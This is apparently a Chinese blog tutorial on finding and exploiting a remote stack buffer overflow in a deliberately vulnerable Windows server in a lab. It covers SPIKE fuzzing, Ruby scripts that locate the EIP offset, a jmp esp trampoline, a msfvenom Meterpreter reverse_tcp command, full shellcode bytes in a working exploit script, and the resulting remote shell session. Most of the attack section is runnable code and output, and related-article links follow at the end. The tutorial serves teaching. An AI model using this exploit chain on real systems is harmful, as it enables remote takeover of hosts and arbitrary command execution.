缓冲区溢出攻击很容易被攻击者利用,因为 C 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.

缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.

该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:

被攻击主机: windows 10 (MyServer应用程序) 192.168.1.2
攻击主机: kali linux 192.168.1.7
x64dbg调试器: https://x64dbg.com/
ruby环境: http://www.ruby-lang.org
kali linux: https://www.kali.org/
MyServer下载地址:https://files-cdn.cnblogs.com/files/LyShark/MyServer.zip

1.这里编写了一个带有漏洞的Server服务器,其运行后会在本地开启9999端口,你可以使用nc工具进行连接.

2.nc工具连接后,可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里可以通过使用help命令查询,远程服务器所支持的命令,也可以使用trun |的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes的函数是存在漏洞的,相反的则是不存在漏洞的函数.

执行模糊测试

模糊测试是用于漏洞挖掘的探测工作,主要用于发现那些函数存在漏洞,尽管有许多模糊测试工具可以使用,但是在kali 系统中默认集成了SPIKE,SPIKE是一个模糊测试工具包,该工具可以通过编写脚本的方式进行测试任务,而无须自行编写上百行的测试代码.

1.首先我们使用generic_send_tcp进行测试,这里我们先来创建一个spike脚本,其内容如下.

root@kali:~# vim lyshark.spk

s_readline();              # 接收一行数据
s_string("trun |");        # 像目标发送的字串
s_string_variable("A");    # 发送的字符串

2.此时我们开始测试服务器MyServertrun函数是否存在漏洞,使用kali内置的工具进行模糊测试.

经过上面的缓冲区测试,你会发现MyServer服务器端崩溃了,我们的服务器在应对二进制字符串时表现异常,其实这就是一个典型的远程缓冲区溢出,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.

控制EIP指针

接下来我们就来测试一下目标缓冲区的大小,这也是控制EIP指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.

root@kali:~# vim lyshark.rb

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2000                # 生成2000个A
eip = "BBBB"                    # 方便区分
nops = "\x90" * 20

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2000个A
sock.close

root@kali:~# ruby lyshark.rb

上面的代码主要作用是,生成2000个A,我们在kali上面运行以上代码,发现服务器崩溃了,说明脚本正常工作了.

接下来我们附加x64调试器,并在调试器附加的基础上,再次执行以上代码,不出所料程序再次崩溃,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.

接下来我们修改一下攻击脚本,将填充物改大一些,这次我们改成2002,也就是说想远程填充2002个A,重新运行服务器上的服务,并再次运行攻击脚本.

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2002                # 生成2002个A
eip = "BBBB"                    # 方便区分
nops = "\x90" * 50

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close

root@kali:~# ruby lyshark.rb

得到以下数据,你会发现我们的EIP地址已经指向了42424232,也就是BBBB,由此可得出填充物的大小为2002个字节

构建漏洞攻击

在上面的环节中我们确定了填充物的大小,但细心的你会发现程序每次运行其栈地址都是随机变化的,在Windows漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode在内存中的地址是动态变化的,因此需要 exploit 在运行时动态定位栈中的 shellcode ,那么我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针.

其基本思路就是,用内存中任意一个jmp esp的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp指令,而esp的地址正好是我们布置好的nop雪橇的位置,此时EIP指针就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发后门.

1.首先通过x64dbg调试器加载服务器程序,选择符号,这里我找到了kernelbase.dll这个外部模块,如下图.

2.接着我们搜索该模块中的jmp esp指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里执行跳转,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们的nop雪橇的位置上.

x64dbg调试器的反汇编界面中,按下ctrl + f 搜索,并记录下这个搜寻到的地址0x77433f73,其实这里随便一个只要是jmp esp 指令的都可以,我们将其作为EIP的跳转地址,最后通过使用MSF生成一个反向连接的shellcode,并将其加入到脚本中.

root@kali:~# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.7 LPORT=9999 -f ruby

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
...省略...

3.最后在msf控制主机,启动一个侦听器,等待运行脚本.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:9999

4.经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行代码.

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"       #数据包包头写法
header = "/.:/"          #数据包发送固定写法

buf = "A" * 2002         #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73  将该地址反写,
nops = "\x90" * 20       #此处是nop雪橇填充的20个字节

shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\xd5\x8a\xe9\x64\xe7\x15\x42\xe3\x4b\xdd\x4c\xf4\xda\xc9" +
"\x6e\x2a\x64\x99\x90\xcb\x94\xb3\x56\x9f\xc4\xab\x7f\xa0" +
"\x8f\x2b\x7f\x75\x25\x26\x17\xb6\x11\x37\xe0\x5e\x63\x38" +
"\xc9\x91\xea\xde\x45\xfe\xbc\x4e\x26\xae\x7c\x3f\xce\xa4" +
"\x73\x60\xee\xc6\x5e\x09\x85\x28\x36\x61\x32\xd0\x13\xf9" +
"\xa3\x1d\x8e\x87\xe4\x96\x3a\x77\xaa\x5e\x4f\x6b\xdb\x38" +
"\xaf\x73\x1c\xad\xaf\x19\x18\x67\xf8\xb5\x22\x5e\xce\x19" +
"\xdc\xb5\x4d\x5d\x22\x48\x67\x15\x15\xde\xc7\x41\x5a\x0e" +
"\xc7\x91\x0c\x44\xc7\xf9\xe8\x3c\x94\x1c\xf7\xe8\x89\x8c" +
"\x62\x13\xfb\x61\x24\x7b\x01\x5f\x02\x24\xfa\x8a\x10\x23" +
"\x04\x48\x3f\x8c\x6c\xb2\x7f\x2c\x6c\xd8\x7f\x7c\x04\x17" +
"\xaf\x73\xe4\xd8\x7a\xdc\x6c\x52\xeb\xae\x0d\x63\x26\x6e" +
"\x93\x64\xc5\xab\x24\x1e\xa6\x4c\xc5\xdf\xae\x28\xc6\xdf" +
"\xce\x4e\xfb\x09\xf7\x24\x3a\x8a\x4c\x36\x09\xaf\xe5\xdd" +
"\x71\xe3\xf6\xf7"

sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close

5.查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令.

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:9999
[*] Sending stage (179779 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.7:9999 -> 192.168.1.2:9900) at 2019-03-27 02:11:56 -0400

meterpreter > sysinfo
Computer        : web-server
OS              : Windows 10 (Build 16373).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.

Windows 远程栈溢出挖掘与利用的更多相关文章

  1. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  2. frp服务利用云主机实现Windows远程连接

    frp服务利用云主机实现Windows远程连接 1.下载所需要的安装包 https://github.com/fatedier/frp/releases 下载 frp_0.44.0_linux_amd ...

  3. Windows远程连接Linux

    目录 xrdp方式 vnc方式 xrdp方式 ----------------------------------------------------------------------------- ...

  4. LearnX控件漏洞挖掘与利用

    前言 大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的.这里分享一下整 ...

  5. Kali2.0通过xrdp实现windows远程链接Linux

    标题:Kali2.0通过xrdp实现windows远程链接Linux apt-get install xrdp 首先需要安装xrdp 接下来安装xfce4 apt-get install xfce4 ...

  6. Windows远程命令执行0day漏洞安全预警

      网站安全云检测这不是腾讯公司的官方邮件. 为了保护邮箱安全,内容中的图片未被显示. 显示图片 信任此发件人的图片   一.概要 Shadow Brokers泄露多个Windows 远程漏洞利用工具 ...

  7. [CVE-2017-8464]Microsoft Windows远程命令执行漏洞复现

    版权声明:本文为博主的原创文章,未经博主同意不得转载 前言 记录下自己的复现,保留意见 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快 ...

  8. windows远程连接老是出问题?如何使用Radmin进行云服务器的远程连接与文件传输?

    (windows远程连接老是出错怎么办?云服务器远程连接一直有问题怎么办?如何用对多台windows电脑远程连接怎么办? 最近发现win的mstsc不好用,偶然想起Radmin这款老牌软件,利用Rad ...

  9. Windows远程桌面打印机映射

    计算机的打印机驱动能打印,需要满足两个条件,一个是有打印驱动本身,一个是要有连接好了的端口.这样,打印作业就会被打印驱动程序封装成一种打印机能识别的组织形式,然后通过打印端口发送给打印机,然后打印! ...

随机推荐

  1. DRF框架之 serializers 序列化组件

    1. 什么是序列化,其实在python中我们就学了序列化工具json工具,就是吧信息存为类字典形式 2. DRF框架自带序列化的工具: serializers 3. DRF框架 serializers ...

  2. K8s部署使用CFSSL创建证书

    证书的编码格式 PEM(Privacy Enhanced Mail),通常用于数字证书认证机构(Certificate Authorities,CA),扩展名为.pem, .crt, .cer, 和  ...

  3. JS 高级总结

    一.查找HTML元素 通常,通过 JavaScript,您需要操作 HTML 元素. 1.通过 id 找到 HTML 元素 2.通过标签名找到 HTML 元素 3.通过类名找到 HTML 元素 提示: ...

  4. OpenJudge NOI 4976 硬币

    http://noi.openjudge.cn/ch0207/4976/ 描述 宇航员Bob有一天来到火星上,他有收集硬币的习惯.于是他将火星上所有面值的硬币都收集起来了,一共有n种,每种只有一个:面 ...

  5. dede织梦动态页面通过手机模板实现wap浏览

    https://jingyan.baidu.com/article/a948d6517be0eb0a2dcd2ebc.html

  6. vue项目强制清除页面缓存

    异常描述: 支付宝中内嵌h5项目(vue框架开发),前端重新打包上传之后访问页面会导致页面空白.页面tab点击异常之类异常情况,需要手动清除支付宝缓存才可以正常访问. 解决方案: 在HTTP协议中,只 ...

  7. 【你的职业规划】web前端的职业发展方向及学习攻略【转载】

    web前端的职业发展方向有哪些?本文献给正在迷茫中,准备入坑web前端的初学者以及知海匠库web前端培训班的准前端工程师们:   一.职业方向定位 首先,只有确定好自己的职业方向,才能做好职业规划.在 ...

  8. 使用setx 命令添加环境变量(Windows)

    背景 用GUI的方法可能添加环境变量可能会比较麻烦,为此可采用命令行操作的方式. 步骤 以管理员身份运行 cmd 输入 setx /M "%path%" "%path%[ ...

  9. [leetcode]90. Subsets II数组子集(有重)

    Given a collection of integers that might contain duplicates, nums, return all possible subsets (the ...

  10. Head First Servlets & JSP 学习笔记 第九章 —— 使用JSTL

    JSTL1.1 不是JSP2.0规范的一部分!你能访问Servlet和JSP API 不意味着你能访问JSTL! 使用JSTL之前,需要将两个文件("jstl.jar" 和 &qu ...